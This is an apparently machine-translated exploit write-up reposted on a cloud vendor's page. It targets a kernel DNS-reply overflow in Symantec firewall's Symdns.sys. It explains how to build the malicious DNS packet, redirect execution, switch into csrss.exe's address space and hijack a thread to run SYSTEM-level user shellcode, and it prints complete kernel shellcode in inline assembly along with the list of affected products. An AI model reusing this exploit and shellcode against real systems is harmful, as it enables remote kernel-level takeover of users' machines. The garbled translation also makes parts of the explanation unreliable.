Secure return method of Symantec Firewall kernel overflow exploit

Source: Internet
Author: User
Tags format count execution header resource thread domain domain name
Security | firewall
Author: Sobeit from: https://www.xfocus.net

This vulnerability occurred in Symdns.sys, when processing DNS replies, because the total domain name length was not verified, resulting in an overflow of an oversized domain name that occurred in the context of RING0, IRQL = 2 (dispatch_level), process PID 0 (Idle process).

A DNS message format is as follows:
"\XEB\X0B"//Message ID, can be set at will, but in this loophole is not useful, the following will be said
"\x80\x00"//message flag,15 position 1 means that this is a reply message
"\X00\X01"//Number of issues
"\X00\X01"//number of replies
"\xxx\xxx"//Authorized resource record number, not important here, casually set
"\xxx\xxx"//Extra information resource record number, not important here, casually set
The above section is the DNS packet header
"\xxx\xxx\x"//domain name, format for each segmented domain name length + domain name content, such as www.buaa.edu.cn is
\x03\x77\x77\x77\x04\x62\x75\x61\x61\x03\x65\x64\x75\x02\x63\x6e\x00
W W b u a A e d u c n
\x00 the end of the show. Processing will be the length of the number of records replaced 0X2E, that is, ".", the completion of the processing.

The function that handles the incoming domain name in Symdns.sys is at the Symdns.sys base address +0xa76, which allocates enough space in the stack (in fact, the last Shellcode execution is not performed on the stack, but in the non-paged pool). The incoming domain name has a maximum length limit and cannot exceed 0x40 bytes, so i shellcode length is 0x3f (63) bytes per paragraph. After overwriting 532 bytes, overwriting the return address of the second call, I am not quite sure why I did not overwrite the return address of the first call. This vulnerability has a feature, that is, in the stack two times to process the incoming domain name, resulting in the stack shellcode the latter half of the unrecognizable, miserable. But luckily we saved the address of our entire DNS message (including the DNS header) at the esp+0xc where we covered the return address, a non-paged pool address,

74816d74 4c816c9b 816d002e 816c9e34
|_____esp point to this |_______ this is the address of the non-paged pool

Now everyone should know what to do, right? Although there is no fixed jmp [esp+0xc], call [ESP+0XC] address in the kernel, we can work around it by using a combination of instructions such as Pop/pop/pop/ret, and the control of the machine is in our hands. However, these 3 pop instructions are best not with pop ebp, or it will somehow return to a strange address. At the end of the STRSTR function there are two combinations of pop/pop/pop/ret that are appropriate. Now you know what that message ID does at the beginning? \XEB\X0B is a direct jump machine instruction that skips the start of a useless DNS message header and the first segment Shellcode length count byte. Flashsky in the Journal said to skip the length count byte, but 0x3f corresponding instructions is AAS, the EAX for ASCII adjustment, so in general does not affect the EAX and signs of the case can be a 0x3f as part of the Shellcode, you can save a lot of bytes ^_^.

    now the current environment is the NO. 0 process, to cut the process address space to other processes must first get the eprocess address of that process. The No. 0 process is very special, that is, the process is basically not on the list of all processes, such as Activeprocesslinks, Sessionprocesslinks, Workingsetexpansionlinks, Normally, you can only enumerate thread waitlisthead to enumerate threads and judge processes, which is cumbersome. Code is very long, but despair, in kpcr+0x55c (+55c struct _kthread) There is a thread Ethread address for the 8th process, where the eprocess address of the thread belongs to the ethread+0x44, and the 8th process is attached to a list other than Sessionprocesslinks. The next step is to switch the process address space, remove the physical address of the Process page directory from the target process eprocess+0x18, and modify the current CR3 register to that value (I also modified the CR3 in the task segment KTSS in the first place, and found that this was not necessary). Then select a suitable thread within the process to run our user state shellcode, which is important because the current IRQL = 2, any address that accesses the page fault will cause the irql_not_less_or_equal blue screen error, because the missing pages will result in paging I/O, The end will wait on the object, which violates the rule that cannot wait for an object in IRQL = 2. According to the operating system of a standard 5 dispatch state model, when a thread waits too long it causes the thread's kernel stack to be swapped out of memory, so that we are not able to use such a thread. So we need to determine if ethread+=0x11e (+11e    byte     kernelstackresident) is true. This also relates to which system process to choose, select system processes so that the shell returned is System permissions, the process must be an active process, to ensure that every moment there are not swapped out of memory threads. Winlogon.exe is definitely not going to work because in most cases this is a 0 working set process. In the 3 processes of Lsass.exe, Smss.exe, Csrss.exe, I finally chose Csrss.exe, because the WIN32 subsystem should be restless in any way: it turns out that the process of selecting the right thread is basic. The thread that enumerates a process can be eprocess+0x50 the header of the chain, which links all the threads of the process, the list location at ETHREAD+0X1A4:
struct _eprocess (sizeof=648)
+000 struct _kprocess PCB
+050 struct _list_entry threadlisthead
+050 struct _list_entry *flink
+054 struct _list_entry *blink

struct _ethread (sizeof=584)
+000 struct _kthread TCB
+1a4 struct _list_entry threadlistentry
+1a4 struct _list_entry *flink
+1a8 struct _list_entry *blink
or eprocess+0x270 to take the chain table head, the link table position in the ethread+0x240 place:
struct _eprocess (sizeof=648)
+270 struct _list_entry threadlisthead
+270 struct _list_entry *flink
+274 struct _list_entry *blink

struct _ethread (sizeof=584)
+240 struct _list_entry threadlistentry
+240 struct _list_entry *flink
+244 struct _list_entry *blink

The rest is to allocate the virtual address in the process address space, lock, and copy shellcode the past, call the API in turn: zwopenprocess (note here, if the CR3 is not changed, this call will cause the blue screen, because the address space does not match)-> Zwallocatevirtualmemory->zwlockvirtualmemory->zwwritevirtualmemory, in order to versatility I use MOV eax, API number; An int 2e such a low-level interface to invoke the API. Before calling Zwwritevirtualmemory, we have to modify the EIP that the thread will execute next time, which is saved at ktrap_frame+0x68 and modified to the address we assigned. Ktrap_frame the place where the thread stack is-x29c, the ethread+0x128 directly points to the address. Remember to save the original EIP in our user state shellcode, similar to push 0x12345678; In such a format, the code will return 12345678 of the address, so in memory is \x68\x78\x56\x34\x12\xc3, overwriting that 12345678 on the line, after the execution of our functional code, the thread will resume normal execution.

The last paragraph is a fixed set of features that are returned to the vulnerability, restoring some register values, pointing esp to the return address and returning EBP to normal. Here I skipped all the rest of the calls in Symdns.sys, because that would take a value from the stack, and a lot of the stack value was changed by us, so I went straight back to tcpip! Udpdeliver call, return here has a benefit, is it completely regardless of what you deal with, how to deal with, it just check the return value, it is in line with our requirements, hehe.

This shellcode is only about 3/4 of the success rate, because in some cases our DNS message address is not attached to the esp+0xc, there are sometimes the threads of the process have been swapped out of memory, and a certain small probability will occur NDIS deadlock-_- Sometimes the RP broke out one day is not a problem, and sometimes virtual machine crazy blue screen ... So my use of the method is not very mature, but also hope that we can discuss the perfect. The biggest problem with the kernel overflow is the problem of missing pages, because IRQL = 2 can not change the page, so in some cases it is likely that some key places can not visit. Some workarounds can be used such as work item, which can be invoked under IRQL = 2, and then the system worker thread completes the work for us. These are some ideas for improvement. The safe return method is now in Ko, not safe to return, it is not difficult to estimate, but it is estimated that shellcode will be much larger.

At the summit because Flashsky Daniel refused to disclose source code, so had to do their own, ample clothing. This period of time due to review make-up (last semester accidentally hung 4 #_#), so dragged for so long. In fact, the code was written very early, is not bothered to write this document. This morning finally made up my mind to spend the morning to finish this document, it is inevitable that there are some mistakes, I hope you point out.

Shellcode is composed of kernel shellcode and user shellcode, kernel Shellcode is responsible for returning and executing user shellcode, user shellcode is ordinary function, attention must add code that wears firewall. The following is the kernel shellcode code, the conversion machine code is only more than 260 bytes, basically not too big:):

__declspec (naked) justtest ()
{
__asm
{
Call Go1
GO1:
Pop eax
Push EAX
mov ebx, 0xffdff55c
mov ebx, DWORD ptr [EBX]
mov ebx, DWORD ptr [ebx+0x44]

Push 0x73727363
Findprocess:
MOV edi, ESP
Lea ESI, DWORD ptr [EBX+0X1FC]
Push 0x4
Pop ecx
Repe CMPSB
JECXZ Go2
mov ebx, DWORD ptr [EBX+0XA0]
Sub ebx, 0xa0
JMP findprocess
Go2:
Pop edx
mov edx, DWORD ptr [ebx+0x50]
Findthread:
movzx ecx, byte ptr [edx-0x86]
Dec ecx
JECXZ Go3
mov edx, DWORD ptr [edx]
JMP Findthread
GO3:
mov eax, DWORD ptr [ebx+0x18]
MOV EBP, esp
Sub ESP, 0x40
Push edx
mov CR3, eax

Push 0x10
Pop ecx
xor eax, EAX
Lea EDI, DWORD ptr [ebp-0x40]
Zerostack:
Stosd
Loop Zerostack
mov byte ptr [ebp-0x38], 0x18
Lea EDI, DWORD ptr [EDX+0X3C]
Push EDI
Lea EDI, DWORD ptr [ebp-0x38]
Push EDI
Lea EDI, DWORD ptr [ebp-0x8]
Push 0X1F0FFF
Push EDI

mov al, 0x6a
Lea edx, DWORD ptr [ESP]
int 0x2e
Add ESP, 0x10
Test eax, EAX
JNZ Failed

mov byte ptr [ebp-0x3], 0x2
Push 0x40
Push 0x1000
Lea EDI, DWORD ptr [ebp-0x4]
Push EDI
Push EAX
Lea EDI, DWORD ptr [EBP-0XC]
Push EDI
Push DWORD ptr [ebp-0x8]

mov al, 0x10
Lea edx, DWORD ptr [ESP]
int 0x2e
Add ESP, 0x18
Test eax, EAX
JNZ Failed

Push 0x2
Lea EBX, DWORD ptr [ebp-0x4]
Push EBX
Lea EBX, DWORD ptr [EBP-0XC]
Push EBX
Push DWORD ptr [ebp-0x8]

mov al, 0x59
Lea edx, DWORD ptr [ESP]
int 0x2e
Add ESP, 0x10
Test eax, EAX
JNZ Failed

mov edi, DWORD ptr [EBP]
Pop edx
mov edx, DWORD ptr [edx-0x7c]
Push DWORD ptr [edx+0x68]
Pop dword ptr [edi+0x210]
Push DWORD ptr [EBP-0XC]
Pop dword ptr [edx+0x68]
Add EDI, 0x11c

Push EAX
Push 0x120
Push EDI
Push DWORD ptr [EBP-0XC]
Push DWORD ptr [ebp-0x8]

mov al, 0xf0
Lea edx, DWORD ptr [ESP]
int 0x2e
Add ESP, 0x14

Failed:
Add ESP, 0xec
xor eax, EAX
mov esi, DWORD ptr [esp+0x38]
MOV Ebp,esp
Add ebp,0x88
RET 0x2c
}
}

PS: The Symantec products with this vulnerability are:
*-Symantec Norton Internet Security 2002
*-Symantec Norton Internet Security 2003
*-Symantec Norton Internet Security 2004
*-Symantec Norton Internet Security Professional 2002
*-Symantec Norton Internet Security Professional 2003
*-Symantec Norton Internet Security Professional 2004
*-Symantec Norton Personal Firewall 2002
*-Symantec Norton Personal Firewall 2003
*-Symantec Norton Personal Firewall 2004
*-Symantec Client Firewall 5.01, 5.1.1
*-Symantec Client Security 1.0, 1.1, 2.0 (SCF 7.1)
*-Symantec Norton AntiSpam 2004

The code is tested on the virtual machine of the Windows2000 Pro build 2195 SP4, WinXP the same principle.


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.